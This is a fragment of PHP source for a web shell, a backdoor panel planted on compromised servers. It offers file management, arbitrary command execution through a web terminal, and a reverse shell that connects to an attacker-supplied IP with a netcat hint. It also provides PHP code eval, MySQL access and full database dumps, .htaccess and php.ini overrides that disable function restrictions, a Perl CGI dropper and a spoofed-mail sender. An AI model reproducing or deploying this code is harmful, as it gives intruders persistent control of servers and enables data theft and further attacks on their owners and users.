$_SESSION['status']="Copy file with success <a href=?a=v&r='" . urle($dest) . "'>'" . basename($dest) . "'</a>";
}
}
elseif($_REQUEST['a']=='mv')
{
if(!copy(trim($source),trim($dest)))
{
$_SESSION['status']='Whoops, cannot moving...';
}
else
{
if(Remove($source))
{
$_SESSION['status']="Move file with success";
$file=$dest;
}
else
{
$_SESSION['status']='Whoops, just copying...';
}
}
}
}
else
{
$_SESSION['status']="Whoops, File was Exists <a href=?a=v&r='" . urle($dest) . "'>'" . basename($dest) . "'</a>";
}
if($_REQUEST['a']=='cp')
{
header("location:".php_self."?a=cp&r=".urle($file));
}
elseif($_REQUEST['a']=='mv')
{
header("location:".php_self."?a=mv&r=".urle($file));
}
}
}
if($_REQUEST['a']=='d')
{
if(file_exists($file))
{
header('Cache-Control:must-revalidate,post-check=0,pre-check=0');
header('Content-Disposition:attachment;filename='.basename($file));
header('Content-Type:application/octet-stream');
header('Content-Description:File Transfer');
header('Content-Transfer-Encoding:binary');
header('Content-Length:'.filesize($file));
header('Pragma:public');
header('Expires:0');
ob_clean();
readfile($file);
exit;
}
}
if($_REQUEST['a']=='x')
{
if(file_exists($file))
{
if(Remove($file))
{
header("location:".$back);
}
}
print '<font class="off">Cannot Delete</font>';
}
}
else
{
print '<font class="off">File Not Found</font>';
}
}
if(any("x",$_REQUEST))
{
if($_REQUEST['x']=="logout")
{
session_destroy();
session_regenerate_id();
header('location:'.php_self);
}
if($_REQUEST['x']=="secure")
{
$disable_functions=array_filter(array_map('trim',explode(',',ini_get("disable_functions"))));
$security=array('_xyec','allow_url_fopen','allow_url_include','apache_child_terminate','apache_get_modules','apache_getenv',
'apache_note','apache_setenv','base64_decode','chdir','chgrp','chmod','chown','curl_exec','curl_multi_exec','dbase_open',
'dbmopen','define_syslog_variables','disk_free_space','disk_total_space','diskfreespace','dl','dlopen','escapeshellarg',
'escapeshellcmd','eval','exec','extract','filepro','filepro_retrieve','filepro_rowcount','fopen_with_path','fp','fput',
'fputs','ftp_connect','ftp_exec','ftp_get','ftp_login','ftp_nb_fput','ftp_put','ftp_raw','ftp_rawlist','geoip_open',
'get_cfg_var','get_current_user','get_num_redirects','getcwd','getenv','getlastmo','getmygid','getmyinode','getmypid',
'getmyuid','getrusage','gzinflate','gzuncompress','highlight_file','hpAds_xmlrpcEncode','ini_alter','ini_get_all',
'ini_restore','ini_set','inject_code','leak','link','listen','mainwork','mb_send_mail','mkdir','mkfifo','move_uploaded_file',
'mysql_list_dbs','mysql_pconnect','openlog','parse_ini_file','passthru','pcntl_alarm','pcntl_exec','pcntl_fork',
'pcntl_get_last_error','pcntl_getpriority','pcntl_setpriority','pcntl_signal','pcntl_signal_dispatch','pcntl_sigprocmask',
'pcntl_sigtimedwait','pcntl_sigwaitinfo','pcntl_strerrorp','pcntl_wait','pcntl_waitpid','pcntl_wexitstatus','pcntl_wifexited',
'pcntl_wifsignaled','pcntl_wifstopped','pcntl_wstopsig','pcntl_wtermsig','pfsockopen','phpAds_XmlRpc','phpAds_remoteInfo',
'phpAds_xmlrpcDecode','phpAds_xmlrpcEncode','php_uname','phpinfo','popen','posix_getgrgid','posix_getlogin','posix_getpwuid',
'posix_kill','posix_mkfifo','posix_setpgid','posix_setsid','posix_setuid','posix_ttyname','posix_uname','posixc','proc_close',
'proc_get_stats','proc_get_status','proc_nice','proc_open','proc_terminate','ps_aux','putenv','readlink','rename','rmdir',
'runkit_function_rename','set_time_limit','sh2_exec','shell_exec','show_source','sleep','socket_accept','socket_bind',
'socket_clear_error','socket_close','socket_connect','socket_create','socket_create_listen','socket_create_pair',
'socket_get_option','socket_getpeername','socket_getsockname','socket_last_error','socket_listen','socket_read',
'socket_recv','socket_recvfrom','socket_select','socket_send','socket_sendto','socket_set_block','socket_set_nonblock',
'socket_set_option','socket_shutdown','socket_strerror','socket_write','str_rot13','stream_select','stream_socket_server',
'symlink','syslog','system','tp_exec','virtual','xmlrpc_entity_decode');
sort($security);
$fucks=array_unique(array_merge($disable_functions,$security));
$table="";
$enable=0;
$disable=0;
$die=array();
$ready=array();
$off=array();
$total=count($fucks);
foreach($fucks as $fuck)
{
$table.="<tr><td></td><td>$fuck</td><td>";
if(in_array($fuck,$disable_functions))
{
$table.="<center><font color=red>DIE</font></center>";
$die[]=$fuck;
$disable++;
}
else
{
if(function_exists($fuck)||is_callable($fuck))
{
$table.="<center><font color=green>READY</font></center>";
$ready[]=$fuck;
$enable++;
}
else
{
$table.="<center><font color=orange>OFF</font></center>";
$off[]=$fuck;
$disable++;
}
}
$table.="</td></tr>";
}
$risk=($enable/$total)*100;
$secure=($disable/$total)*100;
printf("<h2 style='text-align:center'>Sec. Info v2.0.%s</h2><br>
<h4 style='text-align:center;color:var(--txt-color)'>Risks Rate <font color=red>[%s%%]</font> | Secure Rate <font color=green>[%s%%]</font></h4><br><br>
<div class='auto-number'>
<table class='table sortable'>
<thead>
<tr>
<th class='sorttable_nosort' width='15'>No.</th>
<th>Disable Function</th>
<th>Status</th>
</tr>
</thead>
<tbody>
%s
</tbody>
</table>
<fieldset style='margin-bottom:15px'>
<legend>Ready List</legend>
<textarea>%s</textarea>
</fieldset>
<div class='divide'>
<div class='divide-left'>
<fieldset style='margin-bottom:15px'>
<legend>Off List</legend>
<textarea>%s</textarea>
</fieldset>
</div>
<div class='divide-right'>
<fieldset>
<legend>Die List</legend>
<textarea>%s</textarea>
</fieldset>
</div>
</div>",$total,round($risk,2),round($secure,2),$table,implode($ready, ', '),implode($off, ', '),implode($die, ', '));
}
if($_REQUEST['x']=="info")
{
printf("<div id='php-configuration'>
<form onsubmit='return false;' class='new'>
<select id='php-config'>
<option value='4'>INFO_CONFIGURATION</option>
<option value='16' selected>INFO_ENVIRONMENT</option>
<option value='32'>INFO_VARIABLES</option>
<option value='8'>INFO_MODULES</option>
<option value='1'>INFO_GENERAL</option>
<option value='2'>INFO_CREDITS</option>
<option value='64'>INFO_LICENSE</option>
<option value='-1'>INFO_ALL</option>
</select>
<input type='submit' onclick=\"return getAjax(true,'php-info','POST','?x=info&xa=envirolment&config='+document.getElementById('php-config').value);\"/><br>
</form>
</div>
<div id='php-info' class='result'></div>");
$cores=array('PHP_VERSION','PHP_MAJOR_VERSION','PHP_MINOR_VERSION','PHP_RELEASE_VERSION','PHP_VERSION_ID',
'PHP_EXTRA_VERSION','PHP_ZTS','PHP_DEBUG','PHP_MAXPATHLEN','PHP_OS','PHP_OS_FAMILY','PHP_SAPI',
'PHP_EOL','PHP_INT_MAX','PHP_INT_MIN','PHP_INT_SIZE','PHP_FLOAT_DIG','PHP_FLOAT_EPSILON',
'PHP_FLOAT_MIN','PHP_FLOAT_MAX','DEFAULT_INCLUDE_PATH','PEAR_INSTALL_DIR','PEAR_EXTENSION_DIR',
'PHP_EXTENSION_DIR','PHP_PREFIX','PHP_BINDIR','PHP_BINARY','PHP_MANDIR','PHP_LIBDIR','PHP_DATADIR',
'PHP_SYSCONFDIR','PHP_LOCALSTATEDIR','PHP_CONFIG_FILE_PATH','PHP_CONFIG_FILE_SCAN_DIR',
'PHP_SHLIB_SUFFIX','PHP_FD_SETSIZE');
$table="";
foreach($cores as $core)
{
$table.="<tr><td>".$core."</td><td>".@constant($core)."</td></tr>";
}
printf("<h2>Core Predefined Constants</h2><br>
<table class='table'>
<thead>
<tr>
<th>Predefined Constants</th>
<th>Value</th>
</tr>
<tbody>%s</tbody>
</table>",$table);
if(any("xa",$_REQUEST)&&$_REQUEST['xa']=="envirolment")
{
ob_clean();
phpinfo($_REQUEST['config']);
$phpinfo=ob_get_contents();
ob_end_clean();
$phpinfo=preg_replace('%^.*<body>(.*)</body>.*$%ms','$1',$phpinfo);
printf("<div id='phpinfo'>%s</div>",$phpinfo);
exit;
}
}
if($_REQUEST['x']=="db")
{
$connect=any("connect",$_SESSION)?$_SESSION['connect']:"";
$status=any("status",$_SESSION)?$_SESSION['status']:"";
$query=any("query",$_REQUEST)?$_REQUEST['query']:"show databases;";
if($connect==true)
{
$process="";
$sql=mysqli_connect($_SESSION['host'],$_SESSION['user'],$_SESSION['pass'],$_SESSION['dbas'],$_SESSION['port']);
/*
$result=mysql_list_processes($sql);
while($row=mysql_fetch_assoc($result))
{
$process.=sprintf("<tr>
<td>%s</td><td>%s</td><td>%s</td>
<td>%s</td><td>%s</td></tr>",
$row["Id"],$row["Host"],$row["db"],
$row["Command"],$row["Time"]);
}
mysql_free_result($result);
*/
printf("<div class='database-session'>
<div class='database-query'>
<form action='?x=db&xa=qry' method='post'>
<label>MYSQL Query<hr></label><br>
<label><i style='color:#222'>
show databases;<br>
show tables from {database};<br>
show columns from {database}.{table};<br>
select count(*) from {database}.{table};<br>
select * from {database}.{table}limit 0,10;</i></label>
<textarea id='query' name='query'>%s</textarea><br>
<input type='submit' name='disconnect' value='Disconnect'/>
<input type='submit' value='Execute'/>
</form>
</div>
<div class='database-process'>
<!-- div class='mysql-process-result'>
<label>Database Process <a href='?x=db&xa=proc'>♻</a><hr></label>
<table class='table table-bordered'>
<thead>
<tr>
<th>Id</th>
<th>Host</th>
<th>Database</th>
<th>Command</th>
<th>Time</th>
</tr>
</thead>
<tbody>%s</tbody>
</table>
</div -->
<div class='database-dump'>
<label>Database Dump<hr></label>
<form action='?x=db&xa=dmp' method='post'><br>
<label>Database</label><input type='text' name='database' value=''/><br>
<label>Output</label><input type='text' name='output' value='%s'/><br>
<input type='submit' value='Dump' />
<label>%s</label>
</form>
</div>
</div>
<div class='clr'></div>
</div>
",$query,$process,$dir,$status);
}
else
{
printf("<div id='database'>
<form action='?x=db&xa=db' method='post' class='new'><br>
<label>Host</label><input type='text' name='host' value='localhost'/><br>
<label>Port</label><input type='text' name='port' value='3306'/><br>
<label>Username</label><input type='text' name='user' value='root'/><br>
<label>Password</label><input type='text' name='pass' value=''/><br>
<label>Database</label><input type='text' name='dbas' value=''/><br>
<input type='submit' value='Connect'/>
</form>
</div>");
}
if(any("rs",$_REQUEST))
{
$_SESSION[$_REQUEST['rs']]='';
}
if(any("cd",$_REQUEST))
{
$_SESSION['qdb']=$_REQUEST['cd'];
}
if(any("ct",$_REQUEST))
{
$_SESSION['qtb']=$_REQUEST['ct'];
}
if(any("xa",$_REQUEST)&&$_REQUEST['xa']=="db")
{
$cn=mysqli_connect($_REQUEST['host'],$_REQUEST['user'],$_REQUEST['pass'],$_REQUEST['dbas'],$_REQUEST['port']);
$_SESSION['host']=$_REQUEST['host'];
$_SESSION['port']=$_REQUEST['port'];
$_SESSION['user']=$_REQUEST['user'];
$_SESSION['pass']=$_REQUEST['pass'];
$_SESSION['dbas']=$_REQUEST['dbas'];
if($cn)
{
$_SESSION['connect']=true;
header('location:'.php_self.'?x=db');
}
else
{
$_SESSION['connect']=false;
printf("<b class='off'>Connection Failed</b>");
}
}
if(any("xa",$_REQUEST)&&$_REQUEST['xa']=="qry")
{
$_SESSION['status']='';
$con=mysqli_connect($_SESSION['host'],$_SESSION['user'],$_SESSION['pass'],$_SESSION['dbas'],$_SESSION['port']);
if(isset($_REQUEST['disconnect']))
{
mysqli_close($con);
unset($_SESSION['connect']);
unset($_SESSION['query']);
unset($_SESSION['host']);
unset($_SESSION['user']);
unset($_SESSION['pass']);
unset($_SESSION['dbas']);
unset($_SESSION['qdb']);
unset($_SESSION['qtb']);
header('location:'.php_self.'?x=db');
}
$sql=!empty($_REQUEST['query'])?$_REQUEST['query']:"show databases;";
$result=mysqli_query($con,$sql);
$data=array();
$name=array();
if($result)
{
while($fieldinfo=mysqli_fetch_field($result))
{
$name[]=$fieldinfo->name;
}
$data[]=$name;
while($row=mysqli_fetch_row($result))
{
$data[]=$row;
}
mysqli_free_result($result);
}
else
{
$data=false;
}
if($data!==false)
{
$sqdb=isset($_SESSION['qdb']) ? $_SESSION['qdb'] : '';
$sqtb=isset($_SESSION['qtb']) ? $_SESSION['qtb'] : '';
$bsdb="<a href='?x=db&xa=qry&rs=qdb&query=show databases;'>Database</a>";
$bqdb=!empty($_SESSION['qdb'])?"→ <a href='?x=db&xa=qry&rs=qtb&query=show tables from $sqdb;'>$sqdb</a>":"";
$bqtb=!empty($_SESSION['qtb'])?"→ <a href='?x=db&xa=qry&query=show columns from $sqdb.$sqtb;'>$sqtb</a>":"";
printf("<div class='database=table'>
<div class='database-breadcrumb'>%s %s %s</div>
<div class='auto-number'>
<table class='table sortable'>",$bsdb,$bqdb,$bqtb);
foreach($data as $key => $val)
{
if(is_array($val))
{
if($key==0)
{
print "<tr><th class='sorttable_nosort'>☰</th>";
foreach($val as $key2 => $val2)
{
if(!is_array($val2))
{
print "<th>".$val2."</th>";
}
}
print "</tr>";
}
else
{
print "<tr><td width='15'></td>";
foreach($val as $key3 => $val3)
{
if(!is_array($val3))
{
if(strpos($val2,'Database')!==false)
{
print "<td><a href='?x=db&xa=qry&cd=$val3&query=show tables from $val3;'>$val3</a></td>";
}
elseif(strpos($val2,'Tables')!==false)
{
$val4=substr($val2,strpos($val2,'Tables_in_')+10);
print "<td><a href='?x=db&xa=qry&cd=$val4&ct=$val3&query=select * from $val4.$val3 limit 0,10;'>$val3</a></td>";
}
else
{
print "<td>$val3</td>";
}
}
}
print "</tr>";
}
}
}
print "</table></div></div>";
}
else
{
print '<span class=off>Query not Executed</span>';
}
}
if(any("xa",$_REQUEST)&&$_REQUEST['xa']=="dmp")
{
$database=$_REQUEST['database'];
$output=$_REQUEST['output'];
if (!file_exists($output)&&!empty($database))
{
$link=mysqli_connect($_SESSION['host'],$_SESSION['user'],$_SESSION['pass'],null,$_SESSION['port']);
mysqli_set_charset($link,'utf8');
mysqli_select_db($link,$database);
$tables=array();
$result=mysqli_query($link,'SHOW TABLES');
while($row=mysqli_fetch_row($result))
{
$tables[]=$row[0];
}
$return='SET FOREIGN_KEY_CHECKS=0;' . "
";
$return.='SET SQL_MODE="NO_AUTO_VALUE_ON_ZERO";' . "
";
$return.='SET AUTOCOMMIT=0;' . "
";
$return.='START TRANSACTION;' . "
";
foreach($tables as $table)
{
$result=mysqli_query($link,'SELECT * FROM '.$table);
$num_fields=mysqli_num_fields($result);
$num_rows=mysqli_num_rows($result);
$i_row=0;
$row2=mysqli_fetch_row(mysqli_query($link,'SHOW CREATE TABLE '.$table));
$return.="
".$row2[1].";
";
if ($num_rows!==0) {
$row3=@mysqli_fetch_fields($result);
$return.='INSERT INTO '.$table.'( ';
foreach ($row3 as $th)
{
$return.='`'.$th->name.'`,';
}
$return=substr($return,0,-2);
$return.=' ) VALUES';
for ($i=0;$i < $num_fields;$i++)
{
while($row=mysqli_fetch_row($result))
{
$return.="
(";
for($j=0;$j<$num_fields;$j++)
{
$row[$j]=addslashes($row[$j]);
$row[$j]=preg_replace("#
#","\n",$row[$j]);
if (isset($row[$j])) { $return.='"'.$row[$j].'"';}else { $return.='""';}
if ($j<($num_fields-1)) { $return.=',';}
}
if (++$i_row==$num_rows) {
$return.=");";
}else {
$return.="),";
}
}
}
}
$return.="
";
}
$return .='SET FOREIGN_KEY_CHECKS=1;' . "
";
$return.='COMMIT;';
$output=pathinfo($otput)['extension']=='sql'?$output:$output.'.sql';
$handle=fopen($output,'w+');
fwrite($handle,$return);
fclose($handle);
$_SESSION['status']=sprintf("Dump with success... <a href='?a=v&r=%s' target='_blank'>'%s'</a>",urle($output),basename($output));
}
else
{
$_SESSION['status']="<span class=off>Dump Error</span>";
}
header('location:'.php_self.'?x=db');
}
}
if($_REQUEST['x']=="terminal")
{
printf("
<div id='terminal'>
<textarea id='prompt-terminal' class='cmd' cols='122' rows='20' readonly>%s</textarea>
<form onsubmit='return false;'>
<label id='curdir-terminal'>$ %s:</label>
<input type='text' id='terminal-input' autocomplete='off' onfocus=\"\" onkeydown=\"
if(event.keyCode==13)
{
temp=this.value;
this.value='';
getAjax(true,'curdir-terminal','POST','?x=terminal&xa=terminals-curdir&cmd='+temp);
return getAjax(false,'prompt-terminal','POST','?x=terminal&xa=terminals&cmd='+temp);
}
\" class='cmd' name=cmd cols=122 rows=2></input>
</form>
</div>",Execute('whoami'),$dir);
if(any("xa",$_REQUEST)&&$_REQUEST['xa']=="terminals")
{
ob_clean();
$command=!empty($_REQUEST['cmd'])?$_REQUEST['cmd']:"whoami";
@chdir($dir);
$charset='UTF-8';
if(!Unix())
{
$charset='Windows-1251';
}
$ret=iconv($charset,'UTF-8',Execute($command));
print $ret;
exit;
}
elseif(any("xa",$_REQUEST)&&$_REQUEST['xa']=="terminals-curdir")
{
ob_clean();
$command=!empty($_REQUEST['cmd'])?$_REQUEST['cmd']:"whoami";
if (preg_match('/cd (.*)/',$command,$dirx))
{
if ($dirx[1]=='..')
{
$dir=substr($dir,0,strrpos($dir,_));
if (strlen($dir)<=2) $dir=$dir._;
}
else
{
if (is_dir($dirx[1]))
{
$dir=realpath($dirx[1]);
}
}
}
$_SESSION['c']=urle($dir);
print '$ '.$dir.':';
exit;
}
}
if($_REQUEST['x']=="connect")
{
printf("<div id='connect'>
<div class='connect-left'>
<div class='Reverse-connect'>
<fieldset>
<legend>Reverse Connect</legend>
<form action='?x=connect&xa=reverse-connect' method='post' onsubmit=\"
return confirm('HOST will FUCKED ON ur PC or LAPTOP ?!\nMake Sure ur FIREWALL OFF ?!\nUSE NETCAT {nc -lvp ' + document.getElementById('reverse-port').value+'}\n\nTYPE \'exit\' or \'quit\' to TERMINATE')\">
<label>Remote Ip</label><input type='text' name='reverse-ip' value='%s'/><br>
<label>Remote Port</label><input type='text' id='reverse-port' name='reverse-port' value='1337'/><br>
<label>Socket</label><select name='socket'>
<option value='fsockopen'>fsockopen</option>
<option value='socket_create'>socket_create</option>
<option value='stream_socket_client'>stream_socket_client</option>
</select><br>
<input type='submit' value='Connect' />
</form>
</fieldset>
</div>
</div>
<div class='connect-right'>
<div class='status-connect'>
<fieldset>
<legend>Status</legend>
<div id='connect-result'>Terminal: %s",
remote_addr,Execute('whoami')
);
if(any("xa",$_REQUEST)&&$_REQUEST['xa']=="reverse-connect")
{
if($_REQUEST['socket']=="fsockopen")
{
$host=$_REQUEST['reverse-ip'];
$port=$_REQUEST['reverse-port'];
$sock=@fsockopen($host,$port,$errno,$errstr);
if($errno!=0)
{
printf("<font color='red'><b>%s</b>:%s</font>",$errno,$errstr);
}
else
{
while(!feof($sock))
{
fwrite($sock,"[b4tm4n]:");
$command=fgets($sock,1024);
if(trim($command)=='quit'||trim($command)=='exit')
{
fclose($sock);
printf($command);
exit;
}
fwrite($sock,Execute($command));
}
fclose($sock);
}
}
else if($_REQUEST['socket']=="socket_create")
{
$host=$_REQUEST['reverse-ip'];
$port=$_REQUEST['reverse-port'];
$sock=socket_create(AF_INET,SOCK_STREAM,SOL_TCP);
socket_set_nonblock($sock);
if(!$sock)
{
printf("<font color='red'>Connection Error</font>");
}
else
{
while(!@socket_connect($sock,$host,$port))
{
@socket_write($sock,"[b4tm4n]:",strlen ("[b4tm4n]:"));
$input=@socket_read($sock,1024,PHP_NORMAL_READ);
if (trim($input)=='quit'||trim($input)=='exit')
{
socket_set_block($sock);
socket_close($sock);
printf($input);
exit;
}
@socket_write($sock,Execute($input),strlen (Execute($input)));
}
socket_set_block($sock);
socket_close($sock);
}
}
else if($_REQUEST['socket']=="stream_socket_client")
{
$host=$_REQUEST['reverse-ip'];
$port=$_REQUEST['reverse-port'];
$sock=@stream_socket_client("tcp://$host:$port",$errno,$errstr);
if (!$sock)
{
printf("<font color='red'><b>%s</b>:%s</font>",$errno,$errstr);
}
else
{
while(!feof($sock))
{
fwrite($sock,"[b4tm4n]:");
$command=fgets($sock,1024);
if(trim($command)=='quit'||trim($command)=='exit')
{
fclose($sock);
printf($command);
exit;
}
fwrite($sock,Execute($command));
}
fclose($sock);
}
}
}
printf("</fieldset></div></div></div></div>");
}
if($_REQUEST['x']=="htaccess")
{
$php_ini=array(
"php_value upload_max_filesize 32M",
"php_value post_max_size 32M",
"php_flag safe_mode Off",
"php_value disable_functions null",
"php_flag safe_mode_gid Off",
"php_value open_basedir $dir",
"php_flag register_globals On",
"php_flag exec On",
"php_flag shell_exec On");
$htaccess=array(
"Options All",
"Allow From All",
"Satisfy Any");
printf("
<div class='divide'>
<div class='divide-left'>
<textarea>%s</textarea>
</div>
<div class='divide-right'>
<textarea>%s</textarea>
</div>
</div>",implode($php_ini,"
"),implode($htaccess,"
"));
}
if($_REQUEST['x']=="php")
{
$exp=array(
"print_r(get_extension_funcs('Core'));",
"print_r(get_loaded_extensions());",
"print_r(ini_get_all('pcre'));",
"print_r(ini_get_all());",
"print_r(get_defined_constants());",
"print_r(get_defined_functions());",
"print_r(get_declared_classes());");
printf("<div id='php'>
<form onsubmit='return false;'>
<div class='php-left'>
<textarea id='php-code' cols='122' rows='20'>%s</textarea>
</div>
<div class='php-right'>
<textarea id='php-eval' cols='122' rows='20' readonly></textarea>
</div>
<input type='submit' id='php-submit' onclick=\"getAjax(false,'php-eval','POST','?x=php&codex='+document.getElementById('php-code').value);\" class='php-code' name=php-code cols=122 rows=20 value='Inject'/>
<input type='submit' id='php-submit' onclick=\"getAjax(false,'php-eval','POST','?x=php&code='+document.getElementById('php-code').value);\" class='php-code' name=php-code cols=122 rows=20 value='Run'/>
</form>
</div>",implode($exp,"
"));
if(any("code",$_REQUEST))
{
ob_clean();
$code=trim($_REQUEST['code']);
$evil=Evil($code);
exit;
}
if(any("codex",$_REQUEST))
{
ob_clean();
$code=trim($_REQUEST['codex']);
$evil=Evil($code,true);
exit;
}
}
if($_REQUEST['x']=="perl")
{
print 'PHP Perl Class: '.(class_exists('Perl')?"<b class='on'>ON</b>":"<b class='off'>OFF</b>").'<br>';
if(Unix())
{
if(file_exists("/usr/bin/perl"))
{
$path_perl="/usr/bin/perl";
}
else
{
$path_perl="/usr/bin/env perl";
}
}
else
{
if(file_exists("C:\perlin\perl.exe"))
{
$path_perl="C:\perlin\perl.exe";
}
elseif(file_exists("C:\wampin\perl.exe"))
{
$path_perl="C:\wampin\perl.exe";
}
elseif(file_exists("C:\xampp\perlin\perl.exe"))
{
$path_perl="C:\xampp\perlin\perl.exe";
}
}
$script=array(
"#!$path_perl",
"use strict;",
"use warnings;",
"use CGI;",
"print CGI::header();",
"print 'L0N3W0RM on CGI';");
$htaccess=array(
"Options +ExecCGI +SymLinksIfOwnerMatch",
"DirectoryIndex index.ler",
"AddType application/x-httpd-cgi .ler",
"AddHandler cgi-script .ler");
$path=$dir._.'cgi-bin';
$file=$path._.'perl.ler';
$file2=$path._.'.htaccess';
$scripts=implode($script,"
");
$htaccesss=implode($htaccess,"
");
if(!is_dir($path))
{
mkdir($path,0755);
}
if(!is_file($file))
{
$op=fopen($file,'w+');
fwrite($op,$scripts);
fclose($op);
chmod($file,0755);
}
if(!is_file($file2))
{
$op=fopen($file2,'w+');
fwrite($op,$htaccesss);
fclose($op);
chmod($file2,0755);
}
$redirect=GetUrlFromPath($file);
printf("Tested -> <a href='$redirect' target='_blank'><u>Link</u></a>");
if (class_exists('Perl'))
{
//$perl=Perl::getInstance();
$perl=new Perl();
$perl->eval("print \"Executing Perl code in PHP
\"");
print "Hello from PHP! ";
//$perl=new Perl();
$perl->require($file);
$val=$perl->somePhpFunc('test');
print $val;
}
}
if($_REQUEST['x']=="mail")
{
printf("
<div class='divide'>
<div class='divide-left'>
<fieldset>
<legend>Mail</legend>
<form onsubmit='return false;' class='mail'>
<label>From</label><input type='text' id='email-from' placeholder='Attacker <[email protected]>' value='Attacker <[email protected]>'/><br>
<label>Reply To</label><input type='text' id='email-reply' [email protected]' value='[email protected]'/><br>
<label>To</label><input type='text' id='email-to' placeholder='Target 1 <[email protected]>,Target 2 <[email protected]>' value=''/><br>
<label>Cc</label><input type='text' id='email-cc' placeholder='[email protected],[email protected]' value=''/><br>
<label>Bcc</label><input type='text' id='email-bcc' placeholder='[email protected],[email protected]' value=''/><br>
<label>Subject</label><input type='text' id='email-subject' placeholder='What You Waiting For ?' value=''/><br>
<label>Attachment (FIlename)</label><input type='text' id='email-attachment' placeholder='%s' value=''/><br>
<label>Messages</label><input type='text' id='email-message'/><br>
<input type='submit' value='Send' onclick=\"
getAjax(true,
'send-result',
'POST',
'?x=mail&xa=send'+
'&from='+document.getElementById('email-from').value+
'&reply='+document.getElementById('email-reply').value+
'&to='+document.getElementById('email-to').value+
'&cc='+document.getElementById('email-cc').value+
'&bcc='+document.getElementById('email-bcc').value+
'&subject='+document.getElementById('email-subject').value+
'&message='+document.getElementById('email-message').value+
'&attachment='+document.getElementById('email-attachment').value);
\"/>
</form>
</fieldset>
</div>
<div class='divide-right'>
<fieldset>
<legend>Result's</legend>
<div id='send-result'></div>
</fieldset>
</div>
</div>
",php_self);
if(any('xa',$_REQUEST)&&$_REQUEST['xa']=='send')
{
ob_clean();
$from=$_REQUEST['from'];
$reply=$_REQUEST['reply'];
$to=$_REQUEST['to'];
$cc=$_REQUEST['cc'];
$bcc=$_REQUEST['bcc'];
$subject=$_REQUEST['subject'];
$msg=$_REQUEST['message'];
$attachment=$_REQUEST['attachment'];
$uid=md5(uniqid(time()));
$headers[]="From: $from";
$headers[]="Reply-To: $reply";
$headers[]="To: $to";
if(!empty($cc)) $headers[]='Cc: $cc';
if(!empty($bcc)) $headers[]='Bcc: $bcc';
$headers[]="MIME-Version: 1.0";
$headers[]="Content-Type: multipart/mixed; boundary=\"$uid\"";
$messages[]="--$uid";
$messages[]="Content-type: text/html; charset=\"iso-8859-1\"";
$messages[]="Content-Transfer-Encoding: 8bit";
$messages[]="";
$messages[]="$msg";
$messages[]="";
if(is_file($attachment))
{
$content=file_get_contents($attachment);
$content=chunk_split(B64E($content));
$name=basename($attachment);
$mime=mime_content_type($attachment);
$messages[]="--$uid";
$messages[]="Content-Type: $mime; name=\"$name\"";
$messages[]="Content-Transfer-Encoding: base64";
$messages[]="Content-Disposition: attachment";
$messages[]="";
$messages[]="$content";
$messages[]="";
$messages[]="--$uid--";
}
$message=implode("
",$messages);
$header=implode("
",$headers);
if(mail($to,$subject,$message,$header))
{
print "Email Send";
}
else
{
$error=error_get_last();
print "Error :" . $error['message'];
}
exit;
}
}
if($_REQUEST['x']=='process')
{
printf("<div id='process-kill'><form class='new' method='post' action='?x=process&xa=kill'>
<label>PID</label> <input type='text' name='pid'/>
<input type='submit' value='Kill'/><br>
<label>Name</label> <input type='text' name='name'/>
<input type='submit' value='Kill'/>
</form></div>");
if(any("xa",$_REQUEST)&&$_REQUEST['xa']=="kill")
{
$pid=$_REQUEST['pid'];
$name=$_REQUEST['name'];
if(Unix())
{
$kill=Execute("kill 9 $pid");
$kill=Execute("kill 9 $name");
if($kill) print '<font class="off">Process Killed</font>';
}
else
{
$kill=Execute("taskkill /f /pid $pid");
$kill=Execute("taskkill /f /im $name");
if($kill) print '<font class="off">Process Killed</font>';
}
}
if(Unix())
{
$ret=iconv('UTF-8','UTF-8',Execute('ps aux'));
print '<div id="process-list"><pre>'.$ret.'</pre></div>';
}
else
{
$ret=iconv('Windows-1251','UTF-8',Execute('tasklist'));
print '<div id="process-list"><pre>'.$ret.'</pre></div>';
}
}
if($_REQUEST['x']=='shells')
{
print "Coming Soon";
}
if($_REQUEST['x']=='symlink')
{
print "Coming Soon";
}
if($_REQUEST['x']=="account")
{
printf("<div id='account'><form class='new' method='post' action='?x=account&xa=change'>
<label>Username</label> <input type='text' name='change-username' autocomplete='off' value='%s'/> <br>
<label>Password</label> <input type='text' name='change-password' autocomplete='off'value=''/><br>
<input type='submit' value='Change' onclick=\"return confirm('Sure ?');\"/>
</form></div>",B64D($account[0]));
if(any("xa",$_REQUEST)&&$_REQUEST['xa']=="change")
{
$filename=script_filename;
$username=$_REQUEST['change-password'];
$password=$_REQUEST['change-username'];
if (!empty($username)&&!empty($password))
{
$user_from=$account[0];
$user_to=B64E($password);
$content=file_get_contents($filename);
$chunk=explode($user_from,$content);
$content=implode($user_to,$chunk);
$change=file_put_contents($filename,$content);
$pass_from=$account[1];
$pass_to=sha1(md5($username));
$content=file_get_contents($filename);
$chunk=explode($pass_from,$content);
$content=implode($pass_to,$chunk);
$change=file_put_contents($filename,$content);
if($change)
{
session_destroy();
session_regenerate_id();
header('location:'.php_self);
}
else
{
printf("Error change account");
}
}
else
{
printf("<b class='off'>Mistakes !</b>");
}
}
}
if($_REQUEST['x']=="action")
{
$files=any('chk',$_REQUEST)?$_REQUEST['chk']:array();
$value=any('action-value',$_REQUEST)?$_REQUEST['action-value']:$_REQUEST['action-option'];
$tmp="";
$row="";
$count_dirs=0;
$count_files=0;
foreach($files as $file)
{
if(is_dir(urld($file)))
{
$count_dirs++;
}
if(is_file(urld($file)))
{
$count_files++;
}
$row.="<tr><td>".urld($file)."</td></tr>";
$tmp.=urld($file).",";
}
if(count($files)==1&&$value=='copy')
{
header('location:'.php_self.'?a=cp&r='.$files[0]);
}
if(count($files)==1&&$value=='move')
{
header('location:'.php_self.'?a=mv&r='.$files[0]);
}
if(!any('xa',$_REQUEST)&&$value=='delete')
{
printf("<h4>Dir's: [%s] File's: [%s]</h4>
<table class='table'>%s</table>
<form class='new' method='post' action='?x=action&xa=option'>
<input type='hidden' name='action-option' value='%s'/>
<input type='hidden' name='tmp' value='%s'/>
<input type='submit' value='Remove'/>
</form>",
$count_dirs,
$count_files,
$row,
$value,
$tmp);
}
if(!any('xa',$_REQUEST)&&$value!='delete')
{
printf("<h4>Dir's: [%s] File's: [%s]</h4>
<table class='table'>%s</table>
<form class='new' method='post' action='?x=action&xa=option'>
<script>window.onload=function(e){document.getElementById('action_option').value='%s'}</script>
<select name='action-option' id='action_option'>
<option value='copy'>Copy</option>
<option value='move'>Move</option>
<option value='zip'>Archive (zip)</option>
<option value='unzip'>Extract to (zip)</option>
</select>
<i>-></i>
<input type='hidden' name='tmp' value='%s'/>
